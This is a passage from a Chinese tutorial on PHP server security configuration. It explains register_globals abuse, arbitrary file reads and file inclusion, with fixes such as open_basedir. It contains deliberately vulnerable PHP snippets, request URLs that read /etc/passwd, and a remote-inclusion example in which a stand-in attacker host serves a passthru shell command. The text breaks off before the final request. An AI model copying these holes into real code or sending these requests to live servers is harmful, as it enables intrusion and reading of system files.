快捷搜索:   服务器  安全  linux 安全  MYSQL  dedecms

Linux操作系统下PHP服务器安全配置技巧(3)

 

         

 

2、变量滥用

 

PHP默认register_globals =>

 

<?//test_1.phpif ($pass == "hello")    $auth = 1;if ($auth == 1)    echo "some important information";else    echo "nothing";      ?>

 

攻击者只需用如下的请求就能绕过检查:

http://victim/test_1.php?auth=1

 

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361

 

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

 

解决方法:

 

配置文件php.ini设置register_globals = Off。

 

要求程序员对作为判断的变量在程序最开始初始化一个值。

 

3、文件打开

 

极易受攻击的代码片断:

 

 

<?//test_2.phpif (!($str = readfile("$filename"))) {    echo("Could not open file: $filename<BR>\n");    exit;}else {    echo $str;}      ?>

 

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

 

http://victim/test_2.php?filename=/etc/passwd

 

如下请求可以读php文件本身:

 

http://victim/test_2.php?filename=test_2.php

 

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

 

解决方法:

 

如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:

 

<Directory /usr/local/apache/htdocs>    php_admin_value open_basedir /usr/local/apache/htdocs      </Directory>

 

重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

 

Warning: open_basedir restriction in effect. File is in wrong directory in xxx>

使用safe_mode模式也能避免这种问题,前面已经讨论过了。

 

4、包含文件

 

极易受攻击的代码片断:

 

 

<?//test_3.phpif(file_exists($filename))    include("$filename");      ?>

 

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

 

http://victim/test_3.php?filename=/etc/passwd

 

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是:

 

 

 

<?passthru("ls /etc")?>

 

那么如下的请求就可以在目标主机执行命令ls /etc:

 

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论